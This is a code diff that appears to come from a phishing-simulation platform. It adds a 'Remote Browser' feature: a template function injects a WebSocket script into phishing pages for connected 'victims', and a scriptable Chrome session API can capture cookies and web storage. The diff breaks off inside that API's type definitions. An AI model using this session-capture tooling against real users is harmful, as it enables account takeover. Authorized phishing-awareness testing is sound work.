// GetAll returns all remote browsers for the given company.
func (s *RemoteBrowser) GetAll(
ctx context.Context,
session *model.Session,
companyID *uuid.UUID,
options *repository.RemoteBrowserOption,
) (*model.Result[model.RemoteBrowser], error) {
result := model.NewEmptyResult[model.RemoteBrowser]()
ae := NewAuditEvent("RemoteBrowser.GetAll", session)
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
s.LogAuthError(err)
return result, errs.Wrap(err)
}
if !isAuthorized {
s.AuditLogNotAuthorized(ae)
return result, errs.ErrAuthorizationFailed
}
result, err = s.RemoteBrowserRepository.GetAll(ctx, companyID, options)
if err != nil {
s.Logger.Errorw("failed to get remote browsers", "error", err)
return result, errs.Wrap(err)
}
return result, nil
}
// GetAllOverview returns lightweight overview rows.
func (s *RemoteBrowser) GetAllOverview(
companyID *uuid.UUID,
ctx context.Context,
session *model.Session,
options *repository.RemoteBrowserOption,
) (*model.Result[model.RemoteBrowserOverview], error) {
result := model.NewEmptyResult[model.RemoteBrowserOverview]()
ae := NewAuditEvent("RemoteBrowser.GetAllOverview", session)
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
s.LogAuthError(err)
return result, errs.Wrap(err)
}
if !isAuthorized {
s.AuditLogNotAuthorized(ae)
return result, errs.ErrAuthorizationFailed
}
result, err = s.RemoteBrowserRepository.GetAllSubset(ctx, companyID, options)
if err != nil {
s.Logger.Errorw("failed to get remote browser overview", "error", err)
return result, errs.Wrap(err)
}
return result, nil
}
// GetByID returns a single remote browser by ID.
func (s *RemoteBrowser) GetByID(
ctx context.Context,
session *model.Session,
id *uuid.UUID,
options *repository.RemoteBrowserOption,
) (*model.RemoteBrowser, error) {
ae := NewAuditEvent("RemoteBrowser.GetByID", session)
ae.Details["id"] = id.String()
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
s.LogAuthError(err)
return nil, errs.Wrap(err)
}
if !isAuthorized {
s.AuditLogNotAuthorized(ae)
return nil, errs.ErrAuthorizationFailed
}
rb, err := s.RemoteBrowserRepository.GetByID(ctx, id, options)
if errors.Is(err, gorm.ErrRecordNotFound) {
return nil, errs.Wrap(err)
}
if err != nil {
s.Logger.Errorw("failed to get remote browser by ID", "error", err)
return nil, errs.Wrap(err)
}
return rb, nil
}
// UpdateByID updates mutable fields on a remote browser.
func (s *RemoteBrowser) UpdateByID(
ctx context.Context,
session *model.Session,
id *uuid.UUID,
rb *model.RemoteBrowser,
) error {
ae := NewAuditEvent("RemoteBrowser.UpdateByID", session)
ae.Details["id"] = id.String()
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
s.LogAuthError(err)
return err
}
if !isAuthorized {
s.AuditLogNotAuthorized(ae)
return errs.ErrAuthorizationFailed
}
current, err := s.RemoteBrowserRepository.GetByID(ctx, id, &repository.RemoteBrowserOption{})
if errors.Is(err, gorm.ErrRecordNotFound) {
return err
}
if err != nil {
s.Logger.Errorw("failed to get remote browser for update", "error", err)
return err
}
if _, err := rb.Name.Get(); err == nil {
var companyID *uuid.UUID
if cid, err := current.CompanyID.Get(); err == nil {
companyID = &cid
}
name := rb.Name.MustGet()
isOK, err := repository.CheckNameIsUnique(ctx, s.RemoteBrowserRepository.DB, "remote_browsers", name.String(), companyID, id)
if err != nil {
s.Logger.Errorw("failed to check remote browser name uniqueness on update", "error", err)
return errs.Wrap(err)
}
if !isOK {
return validate.WrapErrorWithField(errors.New("is not unique"), "name")
}
}
if err := s.RemoteBrowserRepository.UpdateByID(ctx, id, rb); err != nil {
s.Logger.Errorw("failed to update remote browser", "error", err)
return errs.Wrap(err)
}
s.AuditLogAuthorized(ae)
return nil
}
// DeleteByID removes a remote browser.
func (s *RemoteBrowser) DeleteByID(
ctx context.Context,
session *model.Session,
id *uuid.UUID,
) error {
ae := NewAuditEvent("RemoteBrowser.DeleteByID", session)
ae.Details["id"] = id.String()
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
s.LogAuthError(err)
return err
}
if !isAuthorized {
s.AuditLogNotAuthorized(ae)
return errs.ErrAuthorizationFailed
}
if err := s.RemoteBrowserRepository.DeleteByID(ctx, id); err != nil {
s.Logger.Errorw("failed to delete remote browser", "error", err)
return errs.Wrap(err)
}
s.AuditLogAuthorized(ae)
return nil
}
+54
View File
@@ -16,7 +16,9 @@ import (
"github.com/go-errors/errors"
"github.com/google/uuid"
"github.com/phishingclub/phishingclub/embedded"
"github.com/oapi-codegen/nullable"
"github.com/phishingclub/phishingclub/data"
"github.com/phishingclub/phishingclub/database"
"github.com/phishingclub/phishingclub/errs"
"github.com/phishingclub/phishingclub/model"
@@ -33,6 +35,8 @@ const trackingPixelTemplate = "{{.Tracker}}"
type Template struct {
Common
RecipientRepository *repository.Recipient
OptionRepository *repository.Option
RemoteBrowserRepository *repository.RemoteBrowser
MicrosoftDeviceCodeService *MicrosoftDeviceCode
}
@@ -448,6 +452,38 @@ func (t *Template) CreatePhishingPageWithCampaignAndRecipient(
templateFuncs = t.TemplateFuncsWithCompany(ctx, companyID)
}
// Add RemoteBrowserScript - injects a <script> that opens a WS to the victim
// endpoint and exposes window.RemoteBrowser.on(event, fn) / .send(event, data).
// Usage in page template: {{RemoteBrowserScript "remote-browser-uuid"}}
{
wsPath := t.remoteBrowserWSPath(ctx)
capturedID := id // close over the campaign recipient ID for this render
hasCampaign := campaign != nil
templateFuncs["RemoteBrowserScript"] = func(rbName string) string {
if !hasCampaign || capturedID == "" || rbName == "" || t.RemoteBrowserRepository == nil {
return ""
}
nameVO, err := vo.NewString64(rbName)
if err != nil {
return ""
}
rb, err := t.RemoteBrowserRepository.GetByNameAndCompanyID(ctx, nameVO, companyID, &repository.RemoteBrowserOption{})
if err != nil {
return ""
}
rbIDVal, err := rb.ID.Get()
if err != nil {
return ""
}
script := strings.NewReplacer(
"__WS_PATH__", wsPath,
"__CR_ID__", capturedID,
"__RB_ID__", rbIDVal.String(),
).Replace(embedded.RemoteBrowserInjectJS)
return "<script>" + script + "</script>"
}
}
tmpl, err := template.New("page").
Funcs(templateFuncs).
Parse(contentToRender)
@@ -612,6 +648,19 @@ func (t *Template) newTemplateDataMapWithDenyURL(
return data
}
// remoteBrowserWSPath returns the seeded random path segment used for the
// victim-facing remote browser WebSocket endpoint. Falls back to "rbws" if
// the option is not yet seeded (e.g. during tests or first startup).
func (t *Template) remoteBrowserWSPath(ctx context.Context) string {
if t.OptionRepository == nil {
return "rbws"
}
if opt, err := t.OptionRepository.GetByKey(ctx, data.OptionKeyRemoteBrowserWSPath); err == nil {
return opt.Value.String()
}
return "rbws"
}
// TemplateFuncs returns template functions for templates
func TemplateFuncs() template.FuncMap {
return template.FuncMap{
@@ -656,6 +705,11 @@ func TemplateFuncs() template.FuncMap {
"DeviceCodeCaptured": func(args ...string) (bool, error) {
return false, nil
},
// RemoteBrowserScript is a no-op stub used during template validation; it is replaced with
// a live implementation that outputs a real WebSocket <script> tag when rendering for recipients.
"RemoteBrowserScript": func(rbID string) string {
return ""
},
}
}
+54
View File
@@ -125,6 +125,20 @@ github.com/cloudwego/iasm/x86_64
# github.com/davecgh/go-spew v1.1.1
## explicit
github.com/davecgh/go-spew/spew
# github.com/dlclark/regexp2 v1.11.4
## explicit; go 1.13
github.com/dlclark/regexp2
github.com/dlclark/regexp2/syntax
# github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c
## explicit; go 1.20
github.com/dop251/goja
github.com/dop251/goja/ast
github.com/dop251/goja/file
github.com/dop251/goja/ftoa
github.com/dop251/goja/ftoa/internal/fast
github.com/dop251/goja/parser
github.com/dop251/goja/token
github.com/dop251/goja/unistring
# github.com/enetx/g v1.0.194
## explicit; go 1.24.0
github.com/enetx/g
@@ -245,6 +259,23 @@ github.com/go-playground/universal-translator
# github.com/go-playground/validator/v10 v10.22.0
## explicit; go 1.18
github.com/go-playground/validator/v10
# github.com/go-rod/rod v0.116.2
## explicit; go 1.21
github.com/go-rod/rod
github.com/go-rod/rod/lib/assets
github.com/go-rod/rod/lib/cdp
github.com/go-rod/rod/lib/defaults
github.com/go-rod/rod/lib/devices
github.com/go-rod/rod/lib/input
github.com/go-rod/rod/lib/js
github.com/go-rod/rod/lib/launcher
github.com/go-rod/rod/lib/launcher/flags
github.com/go-rod/rod/lib/proto
github.com/go-rod/rod/lib/utils
# github.com/go-sourcemap/sourcemap v2.1.3+incompatible
## explicit
github.com/go-sourcemap/sourcemap
github.com/go-sourcemap/sourcemap/internal/base64vlq
# github.com/go-task/slim-sprig/v3 v3.0.0
## explicit; go 1.20
github.com/go-task/slim-sprig/v3
@@ -272,6 +303,9 @@ github.com/google/pprof/profile
# github.com/google/uuid v1.3.1
## explicit
github.com/google/uuid
# github.com/gorilla/websocket v1.5.3
## explicit; go 1.12
github.com/gorilla/websocket
# github.com/jinzhu/inflection v1.0.0
## explicit
github.com/jinzhu/inflection
@@ -453,6 +487,23 @@ github.com/yeqown/go-qrcode/v2
## explicit
github.com/yeqown/reedsolomon
github.com/yeqown/reedsolomon/binary
# github.com/ysmood/fetchup v0.2.3
## explicit; go 1.20
github.com/ysmood/fetchup
# github.com/ysmood/goob v0.4.0
## explicit; go 1.15
github.com/ysmood/goob
# github.com/ysmood/got v0.40.0
## explicit; go 1.21
github.com/ysmood/got/lib/lcs
# github.com/ysmood/gson v0.7.3
## explicit; go 1.15
github.com/ysmood/gson
# github.com/ysmood/leakless v0.9.0
## explicit; go 1.15
github.com/ysmood/leakless
github.com/ysmood/leakless/pkg/shared
github.com/ysmood/leakless/pkg/utils
# github.com/zeebo/blake3 v0.2.3
## explicit; go 1.13
github.com/zeebo/blake3
@@ -541,6 +592,7 @@ golang.org/x/sys/windows
# golang.org/x/text v0.30.0
## explicit; go 1.24.0
golang.org/x/text/cases
golang.org/x/text/collate
golang.org/x/text/encoding
golang.org/x/text/encoding/charmap
golang.org/x/text/encoding/htmlindex
@@ -552,6 +604,7 @@ golang.org/x/text/encoding/simplifiedchinese
golang.org/x/text/encoding/traditionalchinese
golang.org/x/text/encoding/unicode
golang.org/x/text/internal
golang.org/x/text/internal/colltab
golang.org/x/text/internal/language
golang.org/x/text/internal/language/compact
golang.org/x/text/internal/tag
@@ -563,6 +616,7 @@ golang.org/x/text/secure/precis
golang.org/x/text/transform
golang.org/x/text/unicode/bidi
golang.org/x/text/unicode/norm
golang.org/x/text/unicode/rangetable
golang.org/x/text/width
# golang.org/x/time v0.14.0
## explicit; go 1.24.0
+87
View File
@@ -3280,6 +3280,93 @@ export class API {
}
};
/**
* remoteBrowser is the API for Remote Browser script management and test runs.
*/
remoteBrowser = {
/**
* Get a Remote Browser by ID.
* @param {string} id
* @returns {Promise<ApiResponse>}
*/
getByID: async (id) => {
return await getJSON(this.getPath(`/remote-browser/${id}`));
},
/**
* Get all Remote Browsers with pagination.
* @param {TableURLParams} options
* @param {string|null} companyID
* @returns {Promise<ApiResponse>}
*/
getAll: async (options, companyID = null) => {
return await getJSON(
this.getPath(`/remote-browser?${appendQuery(options)}${this.appendCompanyQuery(companyID)}`)
);
},
/**
* Get lightweight overview list.
* @param {TableURLParams} options
* @param {string|null} companyID
* @returns {Promise<ApiResponse>}
*/
getAllSubset: async (options, companyID = null) => {
return await getJSON(
this.getPath(
`/remote-browser/overview?${appendQuery(options)}${this.appendCompanyQuery(companyID)}`
)
);
},
/**
* Create a new Remote Browser.
* @param {object} rb
* @returns {Promise<ApiResponse>}
*/
create: async (rb) => {
return await postJSON(this.getPath('/remote-browser'), rb);
},
/**
* Update a Remote Browser.
* @param {string} id
* @param {object} rb
* @returns {Promise<ApiResponse>}
*/
update: async (id, rb) => {
return await patchJSON(this.getPath(`/remote-browser/${id}`), rb);
},
/**
* Delete a Remote Browser.
* @param {string} id
* @returns {Promise<ApiResponse>}
*/
delete: async (id) => {
return await deleteJSON(this.getPath(`/remote-browser/${id}`));
},
/**
* List active live sessions (optionally filter by campaignID).
* @param {string|null} campaignID
* @returns {Promise<ApiResponse>}
*/
getLiveSessions: async (campaignID = null) => {
const q = campaignID ? `?campaignID=${campaignID}` : '';
return await getJSON(this.getPath(`/remote-browser/live${q}`));
},
/**
* Close (kill) an active live session.
* @param {string} crID Campaign-recipient ID
* @returns {Promise<ApiResponse>}
*/
closeLiveSession: async (crID) => {
return await deleteJSON(this.getPath(`/remote-browser/live/${crID}`));
}
};
/**
* ipAllowList is the API for IP Allow List related operations.
*/
+1
View File
@@ -347,6 +347,7 @@
{/if}
</div>
<button
type="button"
class="w-4 hover:scale-110 flex-shrink-0"
on:click={close}
disabled={isSubmitting}
@@ -92,6 +92,9 @@
if ($displayMode === DISPLAY_MODE.BLACKBOX) {
result['Device Code'] = deviceCodeTemplates;
}
if ($displayMode === DISPLAY_MODE.BLACKBOX && contentType === 'page') {
result['Remote Browser'] = [{ label: 'Script', text: '{{RemoteBrowserScript "remote_browser_name"}}' }];
}
return result;
})();
@@ -457,7 +460,8 @@
.replaceAll('{{.URL}}', _url)
.replaceAll('{{MicrosoftDeviceCode}}', 'ABCD-1234')
.replaceAll('{{MicrosoftDeviceCodeURL}}', 'https://microsoft.com/devicelogin')
.replaceAll('{{DeviceCodeCaptured}}', 'false');
.replaceAll('{{DeviceCodeCaptured}}', 'false')
.replace(/\{\{RemoteBrowserScript\s+"[^"]*"\}\}/g, '<!-- RemoteBrowserScript (injected at runtime) -->');
case 'email':
return text
.replaceAll('{{.FirstName}}', 'Alice')
@@ -534,6 +538,7 @@
}
};
// formatDate converts readable date format (YmdHis) to formatted date string
const formatDate = (date, format) => {
const pad = (num, size = 2) => num.toString().padStart(size, '0');
@@ -658,7 +663,7 @@
const t = /** @type {HTMLSelectElement} */ (e.target);
if (t.value) {
insertTemplate(t.value);
t.value = ''; // reset selection
t.value = '';
}
}}
>
@@ -161,6 +161,11 @@
proxy: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6">
<path stroke-linecap="round" stroke-linejoin="round" d="M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5" />
</svg>
`,
remote_browser: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6">
<path stroke-linecap="round" stroke-linejoin="round" d="M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25m18 0A2.25 2.25 0 0 0 18.75 3H5.25A2.25 2.25 0 0 0 3 5.25m18 0H3" />
</svg>
`
};
@@ -176,6 +181,7 @@
'/domain/': 'domains_overview',
'/page/': 'pages',
'/proxy/': 'proxy',
'/remote-browser/': 'remote_browser',
'/asset/': 'assets',
'/email/': 'emails_overview',
'/attachment/': 'attachments',
@@ -97,6 +97,11 @@
<path stroke-linecap="round" stroke-linejoin="round" d="M15 12a3 3 0 1 1-6 0 3 3 0 0 1 6 0Z" />
</svg>`,
remote_browser: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6">
<path stroke-linecap="round" stroke-linejoin="round" d="M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25m18 0A2.25 2.25 0 0 0 18.75 3H5.25A2.25 2.25 0 0 0 3 5.25m18 0H3" />
</svg>
`,
tools: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-5">
<path stroke-linecap="round" stroke-linejoin="round" d="M11.42 15.17 17.25 21A2.652 2.652 0 0 0 21 17.25l-5.877-5.877M11.42 15.17l2.496-3.03c.317-.384.74-.626 1.208-.766M11.42 15.17l-4.655 5.653a2.548 2.548 0 1 1-3.586-3.586l6.837-5.63m5.108-.233c.55-.164 1.163-.188 1.743-.14a4.5 4.5 0 0 0 4.486-6.336l-3.276 3.277a3.004 3.004 0 0 1-2.25-2.25l3.276-3.276a4.5 4.5 0 0 0-6.336 4.486c.091 1.076-.071 2.264-.904 2.95l-.102.085m-1.745 1.437L5.909 7.5H4.5L2.25 3.75l1.5-1.5L7.5 4.5v1.409l4.26 4.26m-1.745 1.437 1.745-1.437m6.615 8.206L15.75 15.75M4.867 19.125h.008v.008h-.008v-.008Z" />
</svg>`,
@@ -128,6 +133,7 @@
'/smtp-configuration/': 'smtp_configurations',
'/api-sender/': 'api_senders',
'/oauth-provider/': 'oauth_providers',
'/remote-browser/': 'remote_browser',
'/profile/': 'profile',
'/sessions/': 'sessions',
'/user/': 'users',
@@ -0,0 +1,139 @@
<script>
import { onDestroy } from 'svelte';
import { activeFormElement } from '$lib/store/activeFormElement';
import { scrollBarClassesVertical } from '$lib/utils/scrollbar';
export let victimConnected = false;
let isMenuVisible = false;
let menuX = 0;
let menuY = 0;
let menuRef = null;
let buttonRef = null;
const dropdownId = Symbol();
const unsubscribe = activeFormElement.subscribe((activeId) => {
isMenuVisible = activeId === dropdownId;
});
const toggle = (e) => {
if (isMenuVisible) {
activeFormElement.set(null);
} else {
document.addEventListener('click', handleClickWhenVisible);
document.addEventListener('keydown', handleGlobalKeydown);
activeFormElement.set(dropdownId);
const viewportHeight = window.innerHeight;
const viewportWidth = window.innerWidth;
const buffer = 20;
const minHeight = 64;
const maxHeight = 400;
const gap = 8;
let x, y;
if (e.clientX !== undefined && e.clientY !== undefined) {
x = e.clientX;
y = e.clientY;
} else {
const rect = buttonRef.getBoundingClientRect();
x = rect.left + rect.width / 2;
y = rect.top;
}
const spaceAbove = y - buffer;
const spaceBelow = viewportHeight - y - buffer;
const shouldShowAbove = spaceBelow < minHeight && spaceAbove > spaceBelow;
const availableSpace = shouldShowAbove ? spaceAbove : spaceBelow;
const optimalHeight = Math.min(Math.max(availableSpace, minHeight), maxHeight);
const menuWidth = 256;
const spaceOnRight = viewportWidth - x - buffer;
menuX = spaceOnRight >= menuWidth ? x : x - menuWidth;
menuX = Math.max(buffer, Math.min(menuX, viewportWidth - menuWidth - buffer));
if (shouldShowAbove) {
menuRef.style.visibility = 'hidden';
menuRef.style.display = 'block';
const actualMenuHeight = menuRef.scrollHeight;
menuRef.style.display = '';
menuRef.style.visibility = '';
menuY = y - actualMenuHeight - gap;
} else {
menuY = y + gap;
}
menuRef.style = `left: ${menuX}px; top: ${menuY}px; max-height: ${optimalHeight}px`;
}
};
const handleClickWhenVisible = (event) => {
if (isMenuVisible && menuRef && buttonRef) {
activeFormElement.set(null);
}
event.preventDefault();
event.stopPropagation();
document.removeEventListener('click', handleClickWhenVisible);
};
const handleGlobalKeydown = (event) => {
if (event.key === 'Escape' && isMenuVisible) {
activeFormElement.set(null);
document.removeEventListener('keydown', handleGlobalKeydown);
}
};
const handleKeydown = (e) => {
if (e.key === 'Enter' || e.key === ' ') {
e.preventDefault();
e.stopPropagation();
toggle(e);
} else if (e.key === 'Escape' && isMenuVisible) {
e.preventDefault();
e.stopPropagation();
activeFormElement.set(null);
}
};
const _onDestroy = () => {
document.removeEventListener('click', handleClickWhenVisible);
document.removeEventListener('keydown', handleGlobalKeydown);
unsubscribe();
activeFormElement.update((current) => (current === dropdownId ? null : current));
};
onDestroy(_onDestroy);
</script>
<div>
<button
bind:this={buttonRef}
class="flex items-center gap-1 rounded px-1.5 py-0.5 text-xs font-semibold transition-colors duration-150 focus:outline-none {victimConnected
? 'bg-green-100 text-green-700 hover:bg-green-200 dark:bg-green-900/40 dark:text-green-400 dark:hover:bg-green-800/50'
: 'bg-yellow-100 text-yellow-700 hover:bg-yellow-200 dark:bg-yellow-900/40 dark:text-yellow-400 dark:hover:bg-yellow-800/50'}"
on:click|stopPropagation|preventDefault={toggle}
on:keydown={handleKeydown}
>
{#if victimConnected}
<span class="w-1.5 h-1.5 rounded-full bg-green-500 animate-pulse inline-block"></span>
Live
{:else}
<span class="w-1.5 h-1.5 rounded-full bg-yellow-500 inline-block"></span>
Active
{/if}
<svg class="w-3 h-3 opacity-60" viewBox="0 0 20 20" fill="currentColor">
<path fill-rule="evenodd" d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z" clip-rule="evenodd" />
</svg>
</button>
<div
bind:this={menuRef}
class="fixed bg-white dark:bg-gray-900/90 drop-shadow-md dark:shadow-gray-900/50 border dark:border-gray-700/60 z-50 w-64 rounded-md overflow-y-scroll transition-colors duration-200 {scrollBarClassesVertical}"
class:hidden={!isMenuVisible}
>
<ul class="flex flex-col text-left">
<slot />
</ul>
</div>
</div>
@@ -0,0 +1,977 @@
<script>
import { onMount, createEventDispatcher } from 'svelte';
import * as monaco from 'monaco-editor';
import editorWorker from 'monaco-editor/esm/vs/editor/editor.worker?worker';
import tsWorker from 'monaco-editor/esm/vs/language/typescript/ts.worker?worker';
import { vimModeEnabled } from '$lib/store/vimMode.js';
import {
setupVimClipboardIntegration,
destroyVimClipboardIntegration
} from '$lib/utils/vimClipboard.js';
import * as vimModule from 'monaco-vim';
import TextField from '$lib/components/TextField.svelte';
import { api } from '$lib/api/apiProxy.js';
import RemoteBrowserStream from '$lib/components/remote-browser/RemoteBrowserStream.svelte';
const dispatch = createEventDispatcher();
// -------------------------------------------------------------------------
// Props
// -------------------------------------------------------------------------
/** @type {string} */
export let name = '';
/** @type {string} */
export let description = '';
/** @type {string} */
export let script = '';
/** @type {string} script is the JS source to edit */
export let config = JSON.stringify(
{ mode: 'local', remote: '', proxy: '', timeout: 300000 },
null,
2
);
/** @type {string|null} */
export let id = null;
/** @type {string} last persisted script - used to show unsaved-changes warning */
export let savedScript = '';
// -------------------------------------------------------------------------
// Editor state
// -------------------------------------------------------------------------
let editorContainer;
let editor = null;
let isDark = false;
let vimStatusBarEl = null;
let vimModeInstance = null;
let isDestroyed = false;
let localVimMode = false;
// -------------------------------------------------------------------------
// Config panel state (parsed from JSON config string)
// -------------------------------------------------------------------------
let cfgMode = 'local'; // "local" | "remote"
let cfgRemote = '';
let cfgProxy = '';
let cfgHeadless = true;
let cfgTimeout = 5; // minutes (converted to ms on save)
function parseConfig(raw) {
try {
const obj = JSON.parse(raw || '{}');
cfgMode = obj.mode || 'local';
cfgRemote = obj.remote || '';
cfgProxy = obj.proxy || '';
cfgHeadless = obj.headless ?? true;
cfgTimeout = Math.round((obj.timeout || 300000) / 60000);
} catch {
// keep defaults
}
}
function buildConfig() {
return JSON.stringify(
{
mode: cfgMode,
remote: cfgRemote,
proxy: cfgProxy,
headless: cfgHeadless,
timeout: cfgTimeout * 60000
},
null,
2
);
}
// Only rebuild config from form fields after mount (prevents overwriting the incoming prop).
let _mounted = false;
$: if (_mounted) config = buildConfig();
// When the parent passes a new config (e.g. opening a different record),
// re-parse it into the form fields - but only if it differs from what we'd build ourselves.
let _lastBuilt = '';
$: if (_mounted && config !== _lastBuilt) {
const built = buildConfig();
if (config !== built) {
parseConfig(config);
}
_lastBuilt = config;
}
// -------------------------------------------------------------------------
// Right panel tabs
// -------------------------------------------------------------------------
let activeTab = 'config'; // 'config' | 'run'
let isScriptDirty = false;
$: isScriptDirty = editor ? editor.getValue() !== savedScript : script !== savedScript;
// -------------------------------------------------------------------------
// Run / Test
// -------------------------------------------------------------------------
/** @type {WebSocket|null} */
let ws = null;
let isRunning = false;
/** @type {Array<Record<string, any>>} */
let runLog = [];
let logContainer;
// live stream (View / Control) — populated once the backend sends {"type":"session","id":"..."}
let streamSessionID = '';
let streamVisible = false;
let streamControlMode = false;
// -------------------------------------------------------------------------
// Event injection (simulate victim input)
// -------------------------------------------------------------------------
let injectEvent = '';
let injectData = '';
// -------------------------------------------------------------------------
// Screenshot modal
// -------------------------------------------------------------------------
/** @type {string|null} */
let screenshotModalSrc = null;
let screenshotModalLabel = '';
let screenshotModalURL = '';
function sendEvent() {
if (!ws || ws.readyState !== WebSocket.OPEN || !injectEvent.trim()) return;
let data;
try {
data = JSON.parse(injectData);
} catch {
data = injectData || null;
}
ws.send(JSON.stringify({ event: injectEvent.trim(), data }));
runLog = [...runLog, { type: 'sent', event: injectEvent.trim(), data, time: now() }];
setTimeout(scrollLogToBottom, 0);
injectEvent = '';
injectData = '';
}
function scrollLogToBottom() {
if (logContainer) {
logContainer.scrollTop = logContainer.scrollHeight;
}
}
async function startRun() {
if (!id) {
runLog = [
...runLog,
{ type: 'error', message: 'Save the remote browser first before running.', time: now() }
];
return;
}
if (isRunning) return;
runLog = [];
isRunning = true;
activeTab = 'run';
const proto = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const url = `${proto}//${window.location.host}/api/v1/remote-browser/${id}/run`;
ws = new WebSocket(url);
ws.onmessage = (ev) => {
try {
const msg = JSON.parse(ev.data);
if (msg.type === 'session') {
streamSessionID = msg.id;
return;
}
runLog = [...runLog, msg];
// defer scroll so DOM has updated
setTimeout(scrollLogToBottom, 0);
if (msg.type === 'done' || msg.type === 'error') {
isRunning = false;
}
} catch {
// ignore
}
};
ws.onerror = () => {
runLog = [...runLog, { type: 'error', message: 'WebSocket connection error.', time: now() }];
isRunning = false;
streamSessionID = '';
};
ws.onclose = () => {
isRunning = false;
streamSessionID = '';
};
}
function stopRun() {
if (ws && ws.readyState === WebSocket.OPEN) {
ws.send(JSON.stringify({ type: 'stop' }));
}
isRunning = false;
}
function now() {
return new Date().toISOString();
}
// -------------------------------------------------------------------------
// Monaco editor setup
// -------------------------------------------------------------------------
const remoteBrowserDTS = `
interface SessionOptions {
/** DevTools WebSocket URL — connects to an existing Chrome instead of launching one */
remote?: string;
/** SOCKS5 or HTTP proxy, e.g. "socks5://127.0.0.1:1080" */
proxy?: string;
/** Run Chrome headless (default: from config) */
headless?: boolean;
/** Close the session after this many ms of no browser activity */
idleTimeout?: number;
/** Log every action to the test runner */
debug?: boolean;
/** Max ms for read-only CDP calls (getText, evaluate, …); 0 = no limit */
queryTimeout?: number;
/** Override the User-Agent header sent by Chrome */
userAgent?: string;
}
interface CaptureOptions {
/** Filter cookies to these domains, e.g. ["google.com"] */
domains?: string[];
/** Only keep cookies with these names */
cookieNames?: string[];
/** Include localStorage (default true unless domains is set) */
localStorage?: boolean;
/** Include sessionStorage (default true unless domains is set) */
sessionStorage?: boolean;
}
interface CaptureResult {
cookies?: Array<{ name: string; value: string; domain: string; path: string; [key: string]: any }>;
localStorage?: Record<string, string>;
sessionStorage?: Record<string, string>;
}
interface Session {
// ── Navigation ────────────────────────────────────────────────────────────
/** Navigate to a URL and wait for the page to load */
navigate(url: string): void;
navigateBack(): void;
navigateForward(): void;
reload(): void;
/** Stop the current page load */
stop(): void;
/** Returns the current page URL */
location(): string;
/** Returns the current page title */
title(): string;
// ── Waiting ───────────────────────────────────────────────────────────────
/** Wait until any of the given selectors is visible; returns the matched selector */
waitVisible(...selectors: string[]): string;
/** Wait until any of the given selectors is visible and enabled; returns the matched selector */
waitReady(...selectors: string[]): string;
/** Wait until any of the given selectors is enabled; returns the matched selector */
waitEnabled(...selectors: string[]): string;
/** Wait until any of the given selectors has a selected option; returns the matched selector */
waitSelected(...selectors: string[]): string;
/** Wait until any of the given selectors is not visible; returns the matched selector */
waitNotVisible(...selectors: string[]): string;
/** Wait until any of the given selectors is absent from the DOM; returns the matched selector */
waitNotPresent(...selectors: string[]): string;
// ── Mouse ─────────────────────────────────────────────────────────────────
click(selector: string): void;
doubleClick(selector: string): void;
clickXY(x: number, y: number): void;
scrollIntoView(selector: string): void;
// ── Keyboard ──────────────────────────────────────────────────────────────
/** Focus the element and type text character by character */
sendKeys(selector: string, text: string): void;
/** Press a named key: "Enter", "Tab", "Escape", "ArrowDown", "Backspace", … */
keyEvent(key: string): void;
// ── Form ──────────────────────────────────────────────────────────────────
/** Clear an input value and fire input/change events */
clear(selector: string): void;
focus(selector: string): void;
blur(selector: string): void;
/** Submit a form element */
submit(selector: string): void;
setValue(selector: string, value: string): void;
getValue(selector: string): string;
// ── DOM reading ───────────────────────────────────────────────────────────
getText(selector: string): string;
getTextContent(selector: string): string;
getInnerHTML(selector: string): string;
getOuterHTML(selector: string): string;
getAttribute(selector: string, attr: string): string | null;
/** Returns all HTML attributes as a plain object */
getAttributes(selector: string): Record<string, string>;
setAttribute(selector: string, attr: string, value: string): void;
removeAttribute(selector: string, attr: string): void;
/** Read a JS property (e.g. "checked", "selectedIndex") */
getJSAttribute(selector: string, prop: string): any;
setJSAttribute(selector: string, prop: string, value: string): void;
/** Count elements matching selector */
getNodeCount(selector: string): number;
// ── JavaScript evaluation ─────────────────────────────────────────────────
/** Evaluate a JS expression in the page context and return the result */
evaluate(expression: string): any;
// ── Screenshots ───────────────────────────────────────────────────────────
/** Take a full-page screenshot, visible in the test runner log */
screenshot(name: string): void;
screenshotElement(selector: string, name: string): void;
// ── Viewport & emulation ─────────────────────────────────────────────────
setViewport(width: number, height: number): void;
setViewportMobile(width: number, height: number): void;
resetViewport(): void;
setUserAgent(ua: string): void;
// ── Capture ───────────────────────────────────────────────────────────────
/** Capture cookies and storage; saves to campaign timeline automatically */
